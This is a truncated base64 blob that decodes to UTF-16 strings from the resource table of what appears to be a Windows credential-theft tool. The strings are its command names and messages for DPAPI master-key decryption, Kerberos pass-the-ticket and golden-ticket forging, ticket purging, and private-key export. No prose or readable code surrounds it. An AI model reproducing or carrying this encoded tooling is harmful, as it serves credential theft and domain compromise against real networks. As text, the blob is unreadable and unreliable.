AHQAaABlAG4AIAB1AHMAZQByACkAOgAgAAAAKgAqACAATQBBAEMASABJAE4ARQAgACoAKgAKAAAAAAAqACoAIABVAFMARQBSACAAKgAqAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAKAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AOgAgAAAAAABwAGEAcwBzAHcAbwByAGQAAAAAAG4AbwByAG0AYQBsAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAcwAgACgAJQBzACAAdQBzAGUAcgApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcABhAHMAcwB3AG8AcgBkAAoAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAGgAYQBzAGgAOgAgAAAAAAAgACgAbgB0AGwAbQAgAHQAeQBwAGUAKQAKAAAAIAAoAHMAaABhADEAIAB0AHkAcABlACkACgAAACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHUAcwBlAHIASABhAHMAaAAKAAAAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAKAAAAcAB2AGsAAAAAAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAUgBTAEEAIABwAHIAaQB2AGEAdABlACAAawBlAHkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABJAG4AcAB1AHQAIABtAGEAcwB0AGUAcgBrAGUAeQBzACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAHMAaABhADEAAAAAAAoAIAAgAFsAZQBuAHQAcgB5ACAAJQB1AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAoAIAAgAFsAZQBuAHQAcgB5ACAAJQB1AF0AIAB3AGkAdABoACAAUwBIAEEAMQAgAGEAbgBkACAAUwBJAEQAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZABoAGkAcwB0ACAAOwAgAEkAbgBwAHUAdAAgAGMAcgBlAGQAaABpAHMAdAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAdQBuAHAAcgBvAHQAZQBjAHQAAAAgACoAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAAIAAqACAAbQBhAHMAdABlAHIAawBlAHkAIAAgACAAIAAgADoAIAAAACAAPgAgAHAAcgBvAG0AcAB0ACAAZgBsAGEAZwBzACAAIAA6ACAAAAAgAD4AIABlAG4AdAByAG8AcAB5ACAAIAAgACAAIAAgACAAOgAgAAAAIAA+ACAAcABhAHMAcwB3AG8AcgBkACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAHIAYQB3AF8AbwByAF8AYgBsAG8AYgAgADsAIABDAHIAeQBwAHQAVQBuAHAAcgBvAHQAZQBjAHQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAIAAgAGsAZQB5ACAAOgAgAAAAAAAgACAAcwBoAGEAMQA6ACAAAAAAACAAIABzAGkAZAAgADoAIAAAAAAAIAAgACAAAAAgAC0ALQAgAAAAAAAgACAAIAA+ACAATgBUAEwATQA6ACAAAAAgACAAIAA+ACAAUwBIAEEAMQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAG0AYQBzAHQAZQByAGsAZQB5AF8AYQBkAGQAIAA7ACAATgBvACAARwBVAEkARAAgAG8AcgAgAEsAZQB5ACAASABhAHMAaAA/AAAAAABHAFUASQBEADoAAAA7AAAASwBlAHkASABhAHMAaAA6AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBvAGUAXwBjAHIAZQBkAGUAbgB0AGkAYQBsAF8AYQBkAGQAIAA7ACAATgBvACAAUwBJAEQAPwAAAAAAUwBJAEQAOgAlAHMAAAAAAE0ARAA0ADoAAAAAAFMASABBADEAOgAAAE0ARAA0AHAAOgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAGQAbwBtAGEAaQBuAGsAZQB5AF8AYQBkAGQAIAA7ACAATgBvACAARwBVAEkARAAgAG8AcgAgAEsAZQB5AD8AAABSAFMAQQAAAEwARQBHAEEAQwBZAAAAAAA7AFQAWQBQAEUAOgAlAHMACgAAAAoAQwBSAEUARABFAE4AVABJAEEATABTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAAAACgBNAEEAUwBUAEUAUgBLAEUAWQBTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAACgBEAE8ATQBBAEkATgBLAEUAWQBTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAQQB1AHQAbwAgAFMASQBEACAAZgByAG8AbQAgAHAAYQB0AGgAIABzAGUAZQBtAHMAIAB0AG8AIABiAGUAOgAgACUAcwAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAOgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkACAAOwAgAEkAbgBwAHUAdAAgAEMAUgBFAEQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAAAAAHAAbwBsAGkAYwB5AAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUABvAGwAaQBjAHkAIABLAGUAeQBzADoACgAAAAAAIAAgAEEARQBTADEAMgA4ACAAawBlAHkAOgAgAAAAAAAgACAAQQBFAFMAMgA1ADYAIABrAGUAeQA6ACAAAAAAACAAIAA+ACAAQQB0AHQAcgBpAGIAdQB0AGUAIAAlAHUAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAcABvAGwAaQBjAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoAGMAcgBlAGQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAASQBuAHAAdQB0ACAAQwByAGUAZAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBjAHIAZQBkADoAZgBpAGwAZQApAAoAAABEAGUAYwByAHkAcAB0AGkAbgBnACAARQB4AHAAbwByAHQAIABmAGwAYQBnAHMAOgAKAAAASGoxZGlRNmtwVXg3VkM0bQAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAcgBhAHcAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAEkAbgBwAHUAdAAgAEMAQQBQAEkAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAcgBpAHYAYQB0AGUAIABQAHIAbwBwAGUAcgB0AGkAZQBzADoACgAAADZqbmtkNUozWmRRRHRyc3UAAAAAeFQ1clpXNXFWVmJydnB1QQAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAG4AZwAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAEkAbgBwAHUAdAAgAEMATgBHACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAS2VyYmVyb3MAAAAAdQBzAGUAcgAAAAAAcwBlAHIAdgBpAGMAZQAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdABzACAAaQBuACAATQBJAFQALwBIAGUAaQBtAGQAYQBsAGwAIABjAGMAYQBjAGgAZQAAAGMAbABpAHMAdAAAAFAAYQBzAHMALQB0AGgAZQAtAGMAYwBhAGMAaABlACAAWwBOAFQANgBdAAAAcAB0AGMAAABIAGEAcwBoACAAcABhAHMAcwB3AG8AcgBkACAAdABvACAAawBlAHkAcwAAAFcAaQBsAGwAeQAgAFcAbwBuAGsAYQAgAGYAYQBjAHQAbwByAHkAAABnAG8AbABkAGUAbgAAAAAAUAB1AHIAZwBlACAAdABpAGMAawBlAHQAKABzACkAAABwAHUAcgBnAGUAAABSAGUAdAByAGkAZQB2AGUAIABjAHUAcgByAGUAbgB0ACAAVABHAFQAAAAAAHQAZwB0AAAATABpAHMAdAAgAHQAaQBjAGsAZQB0ACgAcwApAAAAAABsAGkAcwB0AAAAAABQAGEAcwBzAC0AdABoAGUALQB0AGkAYwBrAGUAdAAgAFsATgBUACAANgBdAAAAAABwAHQAdAAAAEsAZQByAGIAZQByAG8AcwAgAHAAYQBjAGsAYQBnAGUAIABtAG8AZAB1AGwAZQAAAGsAcgBiAHQAZwB0AAAAAABrAGUAcgBiAGUAcgBvAHMAAAAAACUAMwB1ACAALQAgAEQAaQByAGUAYwB0AG8AcgB5ACAAJwAlAHMAJwAgACgAKgAuAHQAaQBrACkACgAAAFwAKgAuAHQAaQBrAAAAAABcAAAAIAAgACAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAlADMAdQAgAC0AIABGAGkAbABlACAAJwAlAHMAJwAgADoAIAAAAAAATwBLAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABMAHMAYQBDAGEAbABsAEsAZQByAGIAZQByAG8AcwBQAGEAYwBrAGEAZwBlACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABLAGUAcgBiAGUAcgBvAHMAIABUAEcAVAAgAG8AZgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAOgAgAAAAAAAKAAoACQAqACoAIABTAGUAcwBzAGkAbwBuACAAawBlAHkAIABpAHMAIABOAFUATABMACEAIABJAHQAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACAAKgAqAAoAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABlAHgAcABvAHIAdAAAAAAACgBbACUAMAA4AHgAXQAgAC0AIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAKACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAAAIAA7ACAAAAAKACAAIAAgAFMAZQByAHYAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAKACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAoAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAawBpAHIAYgBpAAAACgAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAAB0AGkAYwBrAGUAdAAuAHQAaQBrAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAZABvAG0AYQBpAG4AAAAAAGQAZQBzAAAAcgBjADQAAABhAGUAcwAxADIAOAAAAAAAYQBlAHMAMgA1ADYAAAAAAHQAYQByAGcAZQB0AAAAAABpAGQAAAAAAHIAbwBkAGMAAAAAAGcAcgBvAHUAcABzAAAAAABzAGkAZABzAAAAAAAwAAAAcwB0AGEAcgB0AG8AZgBmAHMAZQB0AAAANgAwADAAMAAAAAAAZQBuAGQAaQBuAAAAcgBlAG4AZQB3AG0AYQB4AAAAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgADoAIAAlAHMACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgAAAAAARwByAG8AdQBwAHMAIABJAGQAIAA6ACAAKgAAACUAdQAgAAAACgBFAHgAdAByAGEAIABTAEkARABzADoAIAAAAAoAUwBlAHIAdgBpAGMAZQBLAGUAeQA6ACAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAqACoAIABQAGEAcwBzACAAVABoAGUAIABUAGkAYwBrAGUAdAAgACoAKgAAAC0APgAgAFQAaQBjAGsAZQB0ACAAOgAgACUAcwAKAAoAAAAAAAAAAAAKAEcAbwBsAGQAZQBuACAAdABpAGMAawBlAHQAIABmAG8AcgAgACcAJQBzACAAQAAgACUAcwAnACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIABzAHUAYgBtAGkAdAB0AGUAZAAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4ACgAAAAAACgBGAGkAbgBhAGwAIABUAGkAYwBrAGUAdAAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAQwByAGUAZAAgAGUAcgByAG8AcgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAlAHUAIAAoACUAdQAgAGIAeQB0AGUAcwApACAAZgBvAHIAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABsAG8AYwBhAHQAZQAgAEMAcgB5AHAAdABvAFMAeQBzAHQAZQBtACAAZgBvAHIAIABFAFQAWQBQAEUAIAAlAHUAIAAoAGUAcgByAG8AcgAgADAAeAAlADAAOAB4ACkAIAAtACAAQQBFAFMAIABvAG4AbAB5ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABvAG4AIABOAFQANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGsAcgBiAHQAZwB0ACAAawBlAHkAIABhAHIAZwB1AG0AZQBuAHQAIAAoAC8AcgBjADQAIABvAHIAIAAvAGEAZQBzADEAMgA4ACAAbwByACAALwBhAGUAcwAyADUANgApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFMASQBEACAAcwBlAGUAbQBzACAAaQBuAHYAYQBsAGkAZAAgAC0AIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABTAEkARAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAACAAKgAgAFAAQQBDACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAFAAQQBDACAAcwBpAGcAbgBlAGQACgAAAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZQBuAGMAcgB5AHAAdABlAGQACgAAACAAKgAgAEsAcgBiAEMAcgBlAGQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AXwBkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAGMAcgB5AHAAdAAgACUAMAA4AHgACgAAAAkAKgAgACUAcwAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBoAGEAcwBoAF8AZABhAHQAYQAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAGMAbwB1AG4AdAAAAFgALQBDAEEAQwBIAEUAQwBPAE4ARgA6AAAAAAAKAFAAcgBpAG4AYwBpAHAAYQBsACAAOgAgAAAACgAKAEQAYQB0AGEAIAAlAHUAAAAKAAkAIAAgACAAKgAgAEkAbgBqAGUAYwB0AGkAbgBnACAAdABpAGMAawBlAHQAIAA6ACAAAAAAAAoACQAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACUAcwAgACEAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoACQAqACAAJQB3AFoAIABlAG4AdAByAHkAPwAgACoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABjAGMAYQBjAGgAZQAgAHYAZQByAHMAaQBvAG4AIAAhAD0AIAAwAHgAMAA1ADAANAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgA